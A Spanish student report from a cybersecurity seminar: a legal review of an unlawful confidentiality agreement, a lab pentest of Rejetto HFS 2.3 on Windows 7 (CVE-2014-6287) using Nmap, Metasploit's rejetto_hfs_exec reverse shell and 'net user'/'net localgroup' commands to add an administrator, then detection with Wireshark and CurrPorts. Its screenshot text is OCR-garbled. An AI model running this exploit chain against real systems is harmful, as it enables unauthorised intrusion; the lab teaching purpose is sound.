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RESUMEN

Por medio del siguiente documento se presentara un informe técnico de las
diferentes actividades desarrolladas a lo largo del seminario de investigacion
Equipos Estratégicos en Ciberseguridad: Red Team & Blue team.

Para este se propuso abordar un caso situacion propuesto donde por medio de
las siguientes etapas se abarquen las diferentes teméaticas objetivo de estudio.

Etapa 1 - Actuacion ética y legal, se analizara e investigara si la documentacion
propuesta en la actividad cumple con leyes colombianas de ciberseguridad y
seguridad de la informacion.

Etapa 2- Ejecucion pruebas de intrusion, se llevaran a cabo pruebas de instruccién
en laboratorio controlado basado en la informacién y la copia de seguridad
suministrada para la actividad.

Etapa 3- Contencion de ataques informaticos, se realizaran procedimientos de
contencién de ataques informéticos que permitan generar controles efectivos de
seguridad en una organizacion.

Por ultimo se propondran recomendacion con respecto a los hallazgos evidenciados
en el desarrollo de los diferentes procedimientos de informatica ofensiva vy
defensiva.
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INTRODUCCION

Una de las problematicas méas grandes de los ultimos afios con el constante avance
y uso de las tecnologias de informacion y comunicaciones, son todos los actos
catalogados como ciberdelitos, robo y venta de informacion, dafio de equipos,
interceptacion de comunicaciones, suplantacion de identidad, secuestro de datos
etc. Cada vez es mas frecuente las noticias sobre ataques informéticos exitosos
tanto a el sector empresarial como en usuarios comunes, los ciber delincuentes
tienen como objetivo la constante investigacion de fallas tanto en dispositivos como
en sistemas de informacion donde pueden explotar estas vulnerabilidades brindado
les accesos a los sistemas ocasionando todo tipo de dafios y pérdidas.

en el sector empresarial estas no son solo pérdidas econdmicas también pueden
ser de reputacion, o sanciones por los organismos de control del estado, de alli la
importancia de las practicas de ciberseguridad en las organizaciones, estas
contribuyen a realizar de manera efectiva un analisis de vulnerabilidades de la
infraestructura tecnolégica permitiendo tomar medidas en el manejo de riesgos y en
la implementacién de controles efectivos que disminuyan este tipo de amenazas a
un porcentaje minimo y permitan al profesional de seguridad de la informacién estar
preparado para responder efectivamente ante un incidente de ciberseguridad.



OBJETIVOS

1.1 OBJETIVOS GENERAL

Comunicar informe técnico de los procesos realizados en el caso propuesto
WhiteHouse Security, con respecto a los aspectos legales e implementacion de
estrategias red team y blue team en una organizacion.

1.2 OBJETIVOS ESPECIFICOS

e Analizar los documentos anexos y responder si estos infringen la ley 1273 de
proteccion de datos

¢ llevar a cabo las pruebas de pentesting solicitadas

e Describir las pruebas llevadas a cabo, herramientas utilizadas y resultados
obtenidos

e Describir procedimientos de respuesta al ataque informatico

e Proponer medidas de hardenizacion al sistema para que no se presenten
nuevos incidentes de seguridad



DESARROLLO INFORME TECNICO

2.1 ETAPA 1- ACTUACION ETICA Y LEGAL

The WhiteHouse security cuenta con un acuerdo de confidencialidad para la
contraccion de personal externo para procesos de ciberseguridad, la empresa
piensa que este acuerdo tiene fallas asi que solicita inicialmente su revision
observaciones como profesional para tomar las respectivas correcciones.

Analizando el documento anexo 3 acuerdos de confidencialidad se evidencia
diferentes irregularidades en dicho acuerdo en cada uno de sus objetos inicialmente
se evidencia lo siguiente:

Primera. Objeto:

‘la informacion confidencial o sobre procesos ilegales dentro de Whitehouse
Security no podran ser divulgados.”

Whitehouse esta aceptando que manejan procesos ilegales en la empresa y quieren
firmar un acuerdo donde el profesional quede impedido para realizar denuncia de
dichas irregularidades una vez encontradas.

Segunda. Definicidén de informacion confidencial:

“datos de chuzadas, interceptacion de informacién, accesos abusivos a sistemas
informaticos”

La empresa toma como datos confidenciales informacion obtenida por medio de
procesos no éticos y que son delitos informéticos, como interceptacion de
comunicaciones y acceso forzado a sistemas informaticos.

Tercera. Origen de lainformacion confidencial:

“provendra de documentos suministrados en el proceso de seleccion de personal y
gue tiene que ver con las creaciones del intelecto, suministrados de manera tangible
o intangible, independiente de su fuente o soporte y sin que requiera advertir su
caracter confidencial.”

Se acepta que se ha captado informacion de propiedad intelectual sin verificacion
de fuente y permisos del duefio de dicho material.



Cuarta. Obligaciones de la parte receptora:

“‘No denunciar ante las autoridades actividades sospechosas de espionaje o
cualquier otro proceso en el cual intervenga la apropiaciéon de informacion de
terceros.”

“‘Abstenerse de denunciar y publicar la informacion confidencial e ilegal que
conozca, reciba o intercambie con ocasion de las reuniones sostenidas.”

Se quiere obligar a no denunciar delitos informaticos no cual es una obligacién como
profesionales del area de sistemas.

“‘Responder ante las autoridades competentes como responsable en caso de que la
informacion se encuentre en su poder dentro de un proceso de allanamiento.”

Se pretende que el personal de sistemas tome toda la responsabilidad por
informacion y procesos ilegales que realiza la empresa.

“La parte receptora se obliga a no transmitir, comunicar revelar o de cualquier otra
forma divulgar total o parcialmente, publica o privadamente, la informacion
confidencial o ilegal sin el previo consentimiento por escrito por parte de Whitehouse
Security”

Se vuelve a aceptar que Whitehouse posee informacién ilegal y quieren obligar al
trabajador a gquedar impedido legalmente, a realizar las denuncias
correspondientes de estos delitos con un acuerdo de confidencialidad.

Octava. Solucién de controversias:

En caso que la informacion ilegal o confidencial sea encontrada en manos del
receptor este deberd acudir a un abogado privado y dejar exenta de cualquier

responsabilidad legal y penal a Whitehouse Security.

Pretender que el empleado asuma la culpa de los delitos de la empresa whitehouse.



Si la respuesta es afirmativa y usted encontré algun proceso ilegal en el
anexo 3 — Acuerdo debera mencionar que articulos de la ley 1273 se podrian
vulnerar en dicho acuerdo y especificar porqué vulnera articulos de la ley
1273.

En las siguientes partes de acuerdo se evidencia vulneracion en la ley 1273
Segunda. Definicion de informacién confidencial:

“‘datos de chuzadas, interceptacién de informacion, accesos abusivos a sistemas
informaticos”

Aqui se esta vulnerando el articulo 269a. Acceso abusivo a un sistema informatico
y el articulo 269c. Interceptacion de datos informaticos

Estos toman como delito y castiga a todo acto de entrar a un sistema sin permiso
del propietario vulnerando su seguridad y sustraer informacién asi como interceptar
comunicaciones sin una orden judicial, en el acuerdo se da a entender de la
empresa cuenta con informacion obtenida de manera ilegal.

Tercera. Origen de lainformacion confidencial:

“provendra de documentos suministrados en el proceso de seleccion de personal y
gue tiene que ver con las creaciones del intelecto, suministrados de manera tangible
o intangible, independiente de su fuente o soporte y sin que requiera advertir su
caracter confidencial.”

Articulo 269F. Violacién de datos personales

Aqui se esta vulnerando el articulo 269F debido a que la empresa obtuvo datos y
documentos con propiedad intelectual sin verificar la fuente de estos y si tiene o no
los derechos de dicha propiedad intelectual.

Cuarta. Obligaciones de la parte receptora:

“‘No denunciar ante las autoridades actividades sospechosas de espionaje o
cualquier otro proceso en el cual intervenga la apropiacién de informacion de

terceros.”

“Abstenerse de denunciar y publicar la informacion confidencial e ilegal que
conozca, reciba o intercambie con ocasion de las reuniones sostenidas.”

“‘Responder ante las autoridades competentes como responsable en caso de que la
informacion se encuentre en su poder dentro de un proceso de allanamiento.”



En todas estas estas partes del acuerdo donde se reitera de diferentes maneras y
se quiere obligar al profesional a no denunciar delitos informaticos se estaria pasaria
a convertirse en complice porque claramente estaria encubriendo los delitos de los
articulos 269A, 269C y 269F de la ley 1273

Una vez corregido el acuerdo de confidencialidad para que este cumpla con la
norma se procede a realizar la entrevista con la empresa donde esta plantea el
siguiente caso problema.

Situacion problema: Analisis Red team.

La primera mision del equipo Red team es lograr identificar porqué medio o
proceso se estd generando una serie de fuga de informacién la cual se
presenta al interior de la organizacién en uno de sus equipos de computo en la
dependencia. La informacion inicial con la que cuenta el equipo es que la
maquina donde se estd generando la fuga de informacion tiene instalada una
aplicacion llamada rejetto v. 2.3 bajo un windows 7 con arquitectura X64; esta
aplicacion al parecer tiene asociado un exploit que puede terminar en una Shell
reversa y una sesion abierta de meterpreter. Dentro de la investigacién también
se investiga un escalamiento de privilegios por medio de la creacion de un
usuario tipo administrador del sistema.

El equipo de forense genera una copia del servidor y esta es entregada a usted
como experto, debe validar la posible falla de seguridad y si estd es explotada
debe crear un usuario con su primer nombre y primer apellido, el usuario debe
ser administrador esto con el fin de demostrar una PoC ante los altos
directivos.
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2.2 ETAPA 2- EJECUCION DE PRUEBAS DE INTRUSION

Describa de manera especifica las herramientas software que utilizé6 para
llevar acabo el anexo 4 — escenario 3 enfocado a Redteam.

Para llevar a cabo las pruebas de pentesting solicitadas en el anexo 4 se utilizé una
maquina virtual Windows 7 proporcionada para el laboratorio y una maquina kali
Linux ambas configuradas en una red nat, virtual box

La configuracién de red asignada a la maquina virtual de Windows 7 es la ip
10.0.2.15

Imagen 1- configuracion red maquina virtual Windows 7

&1 win/- U20-Xb4 [Cornendo] - Uracle VM VirtualBox - u X

Archivo Maquina Ver Entrada Dispositivos Ayuda

o) 08:19 p.m..
= 11/03/2023

A ) [P
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La configuracion de red asignada en kali Linux es la ip 10.0.2.4

Imagen 2- configuracion red maquina virtual kali linux

alliakalis -~

File Actions Edit View Help

ethd: flags=4163

64 scopeid
(Ethernet)

¥ errors @ dropped collisions @

s LOOPBACK , RUNNING:>

27.8.8.1 netmask 255.0.8
ineteé ::1 prefix
loop txgueuelen 1€
RX packe
RX errors @

TX packets & )
TX errors @ dropped @ overruns @ carrier @ collisions @

Fuente: autor

Para la etapa de analisis de vulnerabilidades se utilizé la herramienta de software

Nmap

Esta herramienta es usada realizar escaneo de puertos y descubrimiento de
host en una red, es de facil uso y verséatil nos puede brindar mucha informacion
sobre los host escaneados, como informacion sobre version de sistemas
operativos, estado de puertos, estado de firewall, esta de los servicios activos y
descripcion de estos , mapeo de redes y monitorizacion de equipos.
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Como primer punto realizamos un escaneo de la red con el comando nmap —sp y
detectamos la ip de la maquina de laboratorio

Imagen 3 - comando Nmap
i} kali@kali: ~

File Actions Edit View Help

scanning, and traceroute
location

is fully pri
—unprivil : As e user lacks raw socket
! Print version number
: Print this help summary page.
PLES:
nmap -v —-A scanm
nmap -v -sn 1 2.0.0.
nmap -v -iR 1 @
SEE THE MAN PAGE ( '/ { /man.html) FOR MORE OPTIONS AND EXAMPL

ES

Nmap
Host
N

Nmap addre : (3 hosts up) scanned in 2.¢ seconds

Fuente: autor
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Hacemos uso del comando nmap —O para confirmar que la ip se trata de nuestra
magquina de laboratorio Windows 7

Imagen 4 — comando Nmap- 0

: rting Nmap 7. j ) at 2 D3 21:14 EST
Nmap scan report !

Host is up (

Not shown:

open
open
open
open
open
open
28 (Oracle VirtualBox wvirtual NIC)

icrosoft

a p icr windows
osoft Windows 7 SP@ SP1, Windows Server SP1, Windows S
indows 8, or Windows 8.1 Update 1
: 1 hop

Fuente: autor
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Hacemos uso del comando nmap —sV este nos devolvera informacién de servicios
y puertos de la maquina del laboratorio,en esta podemos observar que se
encuentran abiertos los puertos 80 usados por el software http file server 2.3 rejjeto
y el puerto 445 usado para grupo de trabajo por Windows 7

Imagen 5- comando Nmap-sV

— -5 10 Z .

Starting Mmap 7.93 ( } at 2023-@83 21:82 EST
Nmap scan report for @

Host is up (©.0811s laten

STATE SERVICE VERSION
open domain (generic dns response: NOTIMP)
rfice unrecognized despite returning da
n, please submit the following fingerprimt
T

Host is up (
ALl 1@@@ sc
Mot shown: 1808 closed tcp ports (conn-refused)

Nmap scan report for
Host is up ).
Not shown: 6 closed tcp ports (conn-re
- SERVICE VERSION
http HttpFiles
msrpc Microsec indows RPC
netbios-ssn icr ft Windows netbios-ssn
cp open microsoft-ds 7 - 18 microsoft-ds (workgroup
IKGROUP)
cp open T ?
open h HTTPAPI ht ; ( JUPNP)
open h HTTPAPI 2.8 JUPNP)
open htt HTTPAPI htt : ( JUPRP)
open mMSrpc icr Windows
open msrpc
open msrpc
open mMSrpc icr Windows RPC
open r icr F indows RPC
open r icr RPC
ice Info: Host: B6; 0S: : cpe:fo:microsoft:windows

Please report any inmcorrect results at https://
map.org .
Nmap done: 25¢ addresses (3 hosts up) scanned inm 129.45 seconds

Fuente: autor
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Para la fase de explotacion de vulnerabilidades se uso la herramienta de software
Metasploit

Esta herramienta es open source usado para hacking ético, es la herramienta mas
usada para la ejecutar exploits que testean vulnerabilidades encontradas en un
activo informatico entre sus funciones permite:

Escanear informacion de un activo de informacion
Identificacion y explotacion de vulnerabilidades
Instalar puertas traseras

Escalado de privilegios en un sistema

Eliminacion de rastros de ataque informatico

Una vez identificado el puerto y por medio de la informacién previa que este tiene
una fallo el cual puede ser explotado se procede a realizar la explotacion de la falla
Iniciamos metasploit y le indicamos que busque en la base de datos el exploit para
explotar la falla del aplicativo rejjeto por medio del comando use
exploit/windows/http/rejetto_hfs_exec

Imagen 6- uso de metasploit
= Shell No.1

File Actions Edit View Help

PAYLOAD

metasploit v6.2.26-dev
2264 exploits - 1189 auxiliary - 404 post
951 payloads - 45 encoders - 11 nops
9

evasion

P -

+
|
I

| |

I I

| R A

Metasploit tip: You can upgrade a shell to a Meterpreter
session on many platforms using -

Metasploit Documentation: https://docs.metasploit.com/

msf6 > use exploit/Windows/rejetto_hfs_exec
No results from search
Failed to load module: exploit/Windows/rejetto_hfs_exec
msf6 > use exploit/windows/rejetto_hfs_exec
No results from search
Failed to load module: exploit/windows/rejetto_hfs_exec
msf6 > use exploit/windows/http/rejetto_hfs_exec
No payload configured, defaulting to windows/meterpreter/reverse_tcp
msf6 exploit( ) > 1

Fuente: autor
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Procedemos a configurar el payload para la ejecucién del xploit
Imagen 7-configuracion payload

PAYLOAD = erse

msf6 ex _ ) > 1

Fuente: autor

Revisamos los parametros de configuracion con el comando show options y
procedemos a cambiar por las direcciones ip de el equipo windos 7 y kali Linux para
establecer la conexion

Imagen 8- comando show options

msfé exploit( ) * show options

Module options (exploit/windows/http/rejetto_hfs_ex

Name Current Setting Required Description
HTTPDELAY 1@ no . to wait before terminating

Proxies chain of format type:host:
:host:por
RHOSTS
rapid7/metasploit
i/Using asploit
RPORT I: arge po [
SRVHOST 0.0.0.0 Y : l host or netw
o listen on. This must be an

yddresses.
SRVPORT : i r sten on.
S for outgoing con

th to a stom
default is randomly gen
TARGETURI / The path o tion
URIPATH The URI to use for exploit (d
efault is r ;
VHOST

Payload options (window /meterpret

Name Current Required

EXITFUNC process yes %1 echnigue (A
proce

=

c

LHOST 1a.

LPORT Lh44

Fuente: Autor
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Los parametros RHOSTS seria la direccion de Windows 7 10.0.2.15 y SRVHOST
de kali 10.0.2.4, Esto lo realizamos por medio del comando set

Imagen 9- comando set

ew the full module info with the

=
]

exploit(
» 1.

= wnE 3
(T B I [T s

ile Actions Edit View Help

Name

HTTPDELAY

Current Setting Reguired

1@ no
Proxies no
RHOSTS

RPORT
SRVHOST

TARGETURI
URIPATH

VHOST

ayload options (windows
Name Current Setting
EXITFUNC process

LHOST

LPORT

Fuente: autor

-d command.
RHOS
et

show options

Description

onds to wait before terminating web serv

chain of format type:host:port[,typ
port][...]_

see ht = /
asploit-framewo: i sing-Meta
sploit
The target port (TCP)
The local host or network interface to list
en on. This must be an address on the local
machine or @ on all addres
5E5,
The local port to listen on.

; > for outgoing connections
: SL certificate (default i
s randomly ge )
The path of the web application
The URI to use for this exploit (default is

Description

Exit

roces
The 1
ified)
The listen

echnigue (Accepted:
, none)
sten address

port

Para ejecutar el modulo en metasploit usamos el comando exploit
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Imagen 10- comando exploit

Shell No. 1
Actions Edit View
exploit( ) > exploit

Fuente: autor

Al ejecutarse exitosamente el exploit este por medio de meterpreter nos abre una
conexion para ejecutar una consola remotamente la probaremos con el comando
ip config el cual nos mostrara la informacién de configuracién de red de la maquina
Windows 7

Imagen 11- comando ipconfig en meterpreter

Fuente: autor
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Para la fase de post explotacion seguiremos usando la herramienta de software
metaesploit por medio de meterpreter

Con el comando Shell abrimos una consola oculta en la maquina Windows 7 en la
cual ejecutaremos el comando net user y le ingresaremos los parametros nombre
de cuenta y contrasefia para crear un nuevo usuario en el sistema

Imagen -12 comando Shell y net user

Microsoft Wind
Copyright (c)

rectamente.

C:\Users\usuario\Downloads>]]
Fuente: autor

Verificamos los usuarios en el sistema con el mismo comando
“Usersh\usuario\Downloads>net user

net user
Cuentas de usuario de
Administrador Invitado JuanCorrea

usuario
Se ha completado el comando correctamente.

C:\Users\usuario\Downloads>[l

20



Ahora escalaremos privilegios del usuario con el siguiente comando NET
LOCALGROUP administradores JuanCorrea /add

Imagen 13 — escalado de privilegios

Fuente: autor

Verificamos por ultimo en la interfaz de Windows 7 la comprobacién de usuario y
tipo

Imagen

o=

Panel de control Equipo

| 2

Papelera de
reciclaje

!
Red

14- administrador de cuentas Windows 7

@Uv\sg et e el AR Gar et

Elegir la cuenta que desee cambiar

|| usuario 4| JuanCorrea
Administrador ‘ Administrador
3 Protegida por contrasefia

Invitado
La cuenta de invitado estd desactivada

Crear una nueva cuenta

¢Qué es una cuenta de usuario?

Acciones adicionales que se pueden realizar
& Configurar Control parental

Ir a la pagina principal de Cuentas de usuario

@ . 0 @ SLCCE

Fuente: autor
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Liste y describa los datos e informacién del anexo 4 — escenario 3 que le
fueron de ayuda para identificar el fallo de seguridad especifico el cual ataca
ala maguina windows 7 X64

Los datos otorgados en el anexo 4 fueron de vital importancia para la etapa de
recopilacion de informacion se tomaron en cuenta los siguientes datos para
busqueda de informacion de vulnerabilidades

Sistema operativo y arquitectura, Windows 7 es un sistema que ya no tiene soporte
y ha presentado diferentes tipos vulnerabilidades a largo de su vida Uutil.

Aplicacion rejjeto se informa que la version de esta es la 2.3 y esta puede ser
vulnerable a la explotacién de exploit y ejecucion remota de consola y escalamiento
de privilegios de usuario

Por medio de esta informacién se pudo encontrar las siguientes fallas reportadas
sobre este aplicativo

Vulnerabilidad CVE-2014-6287

La funcién findMacroMarker en parserLib.pas en Rejetto HTTP File Server (también
conocido como HFS o HttpFileServer) 2.3x anterior a 2.3c permite a atacantes
remotos ejecutar programas arbitrarios a través de una secuencia %00 en una
accion de busqueda.

Vulnerabilidad: CVE-2014-7226
La caracteristica de comentarios archivo en Rejetto HTTP del servidor de archivos
(HFS) 2.3c y anteriores permite a atacantes remotos ejecutar codigo arbitrario

mediante la subida de un archivo con ciertas secuencias UTF-8 bytes no validas
que se interpretan como simbolos macro ejecutables.
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¢, Qué herramienta utilizd para poder identificar los fallos de seguridad de la
“maquina Windows 7”? ¢ Qué puerto abre laaplicacién especificaen el anexo?

La herramienta utilizada para identificar el fallo de seguridad en la maquina fue
Nmap esta realizo un escaneo de la maquina y sus servicios activos informado
como resultado que tenia abierto el puerto 80 y este se usaba por el aplicativo que
reportaba la falla en seguridad.

Imagen 5- comando Nmap-sV

Host 1is up - v,
Not shown: p ports (conn-refused)
PORT STATE SER
5 open domain eric dns response: )
ice unrecognized despite returning data. know the
ease submit the following fingerprint a ://nmap.org/cg n/submit

Host is up (
All
Not sho

Host is up (
Not shown:
STATE SERVICE
open http
open mMSTpC
open netbios-s netbios-ssn
open 7 - 10 microsoft-ds (workgroup

open T :

open icr HTTPAPI
open HTTPAPI
open HTTPAPI
open T oft Windows
open msTpc oft Windows
open msTpc Windows
open msTpc Windows
open mMsSTrpc osoft Windows
open msrpc t Windows

vice Info: Host: j b ;

Fuente: autor
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Explique con sus palabras y de manera especifica como afecta el ataque a la
maquina (Windows 7 X64), haga uso de graficos para explicar el ataque.

El ataque por Shell inversa consiste en que el equipo victima permite la conexion
de una consola remota por medio de un puerto de escucha en este caso el puerto
que dejo abierto la aplicacidon httpfileserver como es el puerto utilizado por este
aplicativo y los comandos se estan ejecutando en el mismo equipo el firewall no
interrumpe la conexion.

Imagen 15- reverse shell

Without reverse shell

Attacker initiates

A (656 ) connection | |
=4 ) J
Attacker Shell —u Target

Firewall

With Reverse shell

A Target initiates I_I

Ty connection 202
H I I | —

Fuente: https://www.wallarm.com/what/reverse-shell

El equipo por este tipo de ataque queda totalmente expuesto donde se podra
ejecutar cualquier tarea que puede acceder por medio de ventana de comandos,
permitiendo cambios en la configuracion, trasferencia de archivos, ejecucién de
aplicativos maliciosos, escalada de privilegios etc.
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2.3 ETAPA 3- CONTENCION DE ATAQUES INFORMATICOS

¢, Qué seria lo primero que indagaria y haria si llegara a encontrarse un ataque
en tiempo real? Especifique su respuesta con argumentos técnicos.

Como profesional encargado del departamento de sistemas y teniendo en cuenta la
situacion y recursos limitados planteados en el escenario de practica realizaria las
siguientes acciones como respuesta al incidente reportado de fuga de informacion.
Deteccion del posible ataque para ello se analizara la informacion recibida del
estado y situacion del equipo, lo primero es identificar el tipo de ataque o tipos de
ataque que puede estar sufriendo el equipo.

Identificamos que el equipo se encuentra con el firewall desactivado, el sistema
operativo esta desactualizado y no tiene software de proteccion contra amenazas
debido a esto el equipo puede estd bajo diferentes tipos de riesgos y tipos de
amenazas.

El equipo no presenta lentitud ni degradacibn en sistemas inicialmente se
descartaria malware quedaria pendiente un analisis mas exhaustivo para descartar
amenaza

El equipo no presenta informacién corrupta o encriptada descartando ataque por
ransomware

El equipo no presenta falla en sus sistemas ni funcionamiento descartando ataque
de negacion de servicios

Se procede a aislar el dispositivo para no comprometer las demas maquinas,

basado en la informacién proporcionada la fuga de informacién se puede deber a
una conexién remota al host.
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Para realizar el andlisis del trafico de red y envi6 de paquetes usaremos el software
libre wireshark

Seleccionamos como interfaz de analisis nuestra red y procedemos analizar los
datos capturados.

Imagen 16-interfaz wireshark

*ethQ

File Edit View Go Capture Analyze Statistics Telephony Wireless Tools Help

AOA® s BER@ 2 ¢« »n <« >»BEE ooof

Ar . er ; [=RE:

0. Time Source Destination Protocol Length Info

4.896112667 18.8.2.4 18.8.2.3 DHCP 324 DHCP Request

8 5.718023005 18.8.2.3 18.8.2.4 DHCP 590 DHCP ACK

9 10.015712071 PcsCompu_b1:9d:67 PcsCompu_18:a0:55 ARP 42 Who has 10.0.2
10 10.016180049 PcsCompu_18:a@:55 PcsCompu_b1:9d:67 ARP 60 10.0.2.3 is at
11 24.454794891 PcsCompu_92:80:c@ Broadcast ARP 60 Who has 10.0.2
12 24.932144831 fe80::4842:9ced:4e3.. ffB2::16 ICMPV6G 90 Multicast List
13 24.932493248 10.6.2.15 224.0.0.22 IGMPv3 68 Membership Rep
14 24.939059419 fe80::4842:9ced:4e3.. ff02::16 ICMPVE 98 Multicast List
15 24.939383752 10.0.2.15 224.0.0.22 IGMPv3 68 Membership Rep
16 24.944453097 PcsCompu_92:80:c@ Broadcast ARP 60 Who has 10.0.2
17 24.950120134 fe80::4842:9ced:4e3.. ff02::1:3 LLMNR 88 Standard query
18 24.950460576 10.0.2.15 224.0.0.252 LLMNR 68 Standard query
19 25.045679087 feB0::4842:9ced:4e3.. ff02::1:3 LLMNR 88 Standard query
20 25.045679481 10.0.2.15 224.8.8.252 LLMNR 68 Standard query
21 25.189570631 10.0.2.15 239.255.255.258 SSDP 175 M-SEARCH * HTT
22 25.249201461 fe80::4842:9ced4:4e3.. Tf02::16 ICMPV6 96 Multicast List
23 25.249322891 16.8.2.15 224.8.68.22 IGMPv3 60 Membership Rep
24 25.249562441 feB80::4842:9ced:4e3.. ff02::16 ICMPV6G 90 Multicast List
25 25.2497¥33298 16.8.2.15 224.8.68.22 IGMPv3 60 Membership Rep
26 25.250117792 feB80::4842:9ced:4e3.. ff02::1:3 LLMNR 88 Standard query
27 25.250289236 10.8.2.15 224.0.8.252 LLMNR 68 Standard query
28 25.358368305 feB80::4842:9ced:4e3.. ff02::1:3 LLMNR 88 Standard query
29 25.358368687 10.0.2.15 224.0.0.252 LLMNR 68 Standard query
30 25.404988618 10.0.2.15 224.0.0.22 IGMPv3 68 Membership Rep

104989006 280 - 4842-9ced: de 02::16 MEv6 93 M ica i

» Frame 1: 62 bytes on wire (496 bits), 62 bytes 33 33 00 60 00 82 08 E0 27 bl 9d 67 86 di

+ Ethernet II, Src: PcsCompu_b1:9d:67 (© 00 3e DO 08 3a ff fe 80 0O 0P PO GO 0O O
o SRR NP e L 1 PSSR SR ~—— £ fn Ea E? ad ORE 7~ FF 00 AN A0 A0 00 a0 of
R ® E wireshark_ethOJRG711.pcapng Packets: 297 - Displayed: 297 (100.0%) : Profile: Default

Fuente:autor

Se identifica trafico sospechoso en la red desde la ip 10.0.2.4 la cual no se
reconoce se procede a analizar con detalle, un segundo analisis nos revela que
existe una conexién pormedio de protocolo TCP desde el equipo sospechoso a
nuestro sevidor confirmando un ataque de conexién remota.
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Imagen 17-interfaz wireshark detalle paquetes

File Edit View Go Capture Analyze Statistics Telephony Wireless Tools Help

AODA® s BEB@ 2 « >0 «+H @ = o [H

Source Protocol Length Info
.142944890 10.0.2.15 224.0.0.252 LLMNR 68 Standard query 6xdd4b ANY PC202006
.295480682 10.0.2.15 239.255.255. SSDP 175 M-SEARCH * HTTP/1.1
123 331.346895266 feB80::4842:9ced:4e3.. FfO2::16 ICMPVv6 90 Multicast Listener Report Message v2
124 331.347012718 160.0.2.15 224.0.0.22 IGMPV3 60 Membership Report / Leave group 224.0.0.252
125 331.347278845 feB0::4842:9ced:4e3.. o2 ICMPvE 90 Multicast Listener Report Message v2
126 331.347552623 10.6.2.15 224.0. IGMPv3 60 Membership Report / Join group 224.0.0.252 for any sources
127 331.347992303 feB80::4842:9ced:4e3.. f02:: LLMNR 88 Standard query 6x3166 ANY PC202006
128 331.348175626 10.0.2.15 224.0. LLMNR 68 Standard query ©x3166 ANY PC202006
129 331.455590486 10.0.2.15 224.0. IGMPV3 60 Membership Report / Join group 224.0.6.252 for any sources
130 331.455590840 feB80::4842:9ced:4e3.. FfO2 ICMPvE 90 Multicast Listener Report Message v2
131 331.455873642 feB80::4842:9ced:4e3.. ffO2 LLMNR 88 Standard query ©x3166 ANY PC202006
132 331.455873869 10.0.2.15 224, LLMNR 68 Standard query ©x3166 ANY PC202006
133 334.282024283 10.0.2.15 239.255.255.250 SSDP 175 M-SEARCH * HTTP/1.1
134 337.281071886 10.0.2.15 239.255.255.250 SSDP 175 M-SEARCH * HTTP/1.1
135 340.294162548 16.0.2.15 239.255.255.250 SSDP 175 M-SEARCH * HTTP/1.1
136 343.292954481 10.0.2.15 239.255.255.250 SSDP 175 M-SEARCH * HTTP/1.1
137 346.292196452 10.0.2.15 239.255.255.250 SSDP 175 M-SEARCH * HTTP/1.1
138 352.357157795 10.0.2.4 10.9.2.15 TCP 198 4444 —~ 49171 [PSH, ACK] Seq=641 Ack=801 Win=501 Len=144
139 352.413727758 10.0.2.15 10.0.2.4 TCP 230 49171 - 4444 [PSH, ACK] Seq=801 Ack=785 Win=8375 Len=176
140 352.413760526 10.0.2.4 18.8.2.15 TCP 54 4444 . 49171 [ACK] Seq=785 Ack=977 Win=501 Len=0
141 352.475669826 10.0.2.15 10.0.2.4 TCP 230 49171 - 4444 [PSH, ACK] Seq=977 Ack=785 Win=8375 Len=176
142 352.475717698 10.0.2.4 19.9.2.15 TCP 54 4444 . 49171 [ACK] Seq=785 Ack=1153 Win=501 Len=0
.602627490 10.0.2. 0.2 TCP 49171 — 4444 [PSH, ACK] Seq=1153 Ack=785 Win=8375 Len=768

602680766 10.0 2 54 4444 49171 [ACK] Seq=785 Ack=1921 Win=501 Len=0
145 356
146 356

Ack: 1921,

Fuente: autor
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Usaremos el software libre currports para evaluar los puertos que tenemos abiertos
y conexion a nuestro servidor, en esta podemos evidenciar los puertos abiertos y la
conexion remota establecida desde el equipo atacante a nuestro servidor.

Imagen 18-interfaz currports
@ CurPorts [E=8 Eel =)

File Edit View Options Help

[ ¥xHE & v M Hi-a

Process Na.. Process.. Protocol Local Port  Local Port Name Local Address Remote.. Remote.. RemoteAddress Remote Host Mame State B
$8 his-http-fil 2164 TCP 80 http 0.0 0000 Listening

5z hhWQakHzps.exi

[Flisass.exe 472 TCP 49154 .0.0. 0000 Listening
[Flisass.exe 472 TCP 49154 i PC202006 Listening
Fservices.exe 464 TCP 49156 0000 Listening
[Flservices.exe 464 Tcp 49156 i i PC202006 Listening
Fsvchost.exe 712 TCP 135 epmap 0000 0000 Listening
[Fsvchost.exe 800 Tcp 49153 0000 0000 Listening
[Fsvchost.exe 864 TCP 49155 0000 0000 Listening| =
Fsvehostexe 1668 TCp 49157 0000 0000 Listening
[Fsuchost.exe 864 upp 500 isakmp 0000

Fsvehostexe 1296 upp 1900 ssdp 100215

[Fsvchost.exe 1296 upp 1900 ssdp 127001

[Fsvchost.exe 1296 upp 3702 ws-discovery 0000

Fsvehostexe 864 upp 4500 ipsec-msft 0000

[Fsvchost.exe 544 upp 5355 lirmnr 0000

Fsvehostexe 1296 upp 51185 100215

[Fsvchost.exe 1296 upp 51186 127001 L
Fsvchostexe 1296 upp 61147 0000

Flsuchostere 712 TCp 135 epmap : : PC202006 Listening
[Fsvchost.exe 800 TCP 49153 u i PC202006 Listening
Fsvehostexe 864 TCp 49155 u i PC202006 Listening
[Fsuchost.exe 1668 TCP 49157 B @ PC202006 Listening
Fsvehostexe 864 upp 500 isakmp u PC202006

[Fsvchost.exe 1296 upp 1900 ssdp a PC202006

[Fsvchost.exe 1296 upp 1900 ssdp feB0::48429ced... PC202006

Fsvehostexe 1296 upp 3702 ws-discovery H PC202006

[Fsvchost.exe 864 upp 4500 ipsec-msft u PC202006

Fsvehostexe 544 upp 3335 limnr u PC202006

[Fsvchost.exe 1296 upp 51183 feB0::4842:0ced... PC202006

Fsvchostexe 1296 upp 51184 ul PC202006

Fleuchnst.eve 1296 Lne A1148 E PC02006 i
< i J v
53 Total Ports, 1 Remote Connections, 1 Selected NirSoft Freeware. https:iiwww.nirsoft.net

T e—
Fuente: autor
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Seleccionamos los items de nuestro interés para conocer detalles sobre los puertos
estado y uso.

Imagen 19-interfaz currports detalle puerto 80
| Properties

Process Name: hfs-http-file-serverexe
Process ID: 2164

Protocol: TCP

Local Port: 80

Local Port Name: http

Local Address: 0.0.0.0

Remote Port:

Remote Port Name:

Remote Address: 0.0.0.0

Remote Host Name:

State: Listening

Sent Bytes:

Received Bytes:

Sent Packets:

Received Packets:

Process Path: C:\Userslusuario\Downloadsihfs-http-file-serverexe
Product Name: Http File Server

File Description:

File Version: 2.3.0.0

Company: rejetto

Process Created On:  22/03/2023 11:27:54 p.m.
User Name: PC202006\usuario
Process Services:

Process Attributes: A

Added On: 23103/2023 12:03:25 a.m.
